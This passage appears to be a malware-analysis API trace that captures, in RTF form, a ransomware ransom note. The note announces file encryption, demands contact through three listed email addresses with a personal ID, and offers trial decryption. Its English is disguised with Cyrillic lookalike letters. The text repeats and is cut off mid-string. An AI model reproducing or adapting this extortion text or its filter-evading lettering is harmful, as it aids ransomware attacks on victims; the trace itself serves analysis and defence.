\\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x2763ff8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t 